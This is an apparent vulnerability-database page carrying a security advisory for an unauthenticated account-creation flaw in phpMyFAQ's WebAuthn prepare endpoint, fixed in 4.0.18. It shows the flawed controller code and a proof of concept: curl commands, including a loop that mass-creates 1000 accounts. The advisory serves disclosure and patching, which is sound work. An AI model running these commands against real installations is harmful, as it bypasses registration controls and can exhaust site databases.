CVE-2026-27836: phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint
Summary The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled. Details File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79 The endpoint: 1.
Published Feb 27, 2026
Affected packages
thorsten/phpmyfaq
- Ecosystem
- Composer (PHP)
- Affected
- < 4.0.18
- Fixed in
- 4.0.18
- Check
composer show thorsten/phpmyfaq
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);The endpoint:
- Accepts any POST request with a JSON
usernamefield - If the username doesn't exist, creates a new active user account
- Does NOT check if WebAuthn support is enabled (
security.enableWebAuthnSupport) - Does NOT check if registration is enabled (
security.enableRegistration) - Does NOT verify CSRF tokens
- Does NOT require captcha validation
- Has no rate limiting
PoC
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
doneImpact
- Registration bypass: Accounts created even when self-registration is disabled
- Username squatting: Reserve usernames before legitimate users
- Database exhaustion: Create millions of fake active accounts (DoS)
- User enumeration: Different responses for existing vs new usernames
- Security control bypass: WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
Credited to offensiveee.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-56736
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
high8.2Sep 24, 2026CVE-2026-56737
phpMyFAQ's two-factor authentication login bypasses the password factor
high8.1Sep 24, 2026CVE-2026-56738
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
high8.5Sep 24, 2026GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
medium4.9Aug 25, 2026GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
medium5.3Aug 25, 2026GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
high8.8Aug 25, 2026
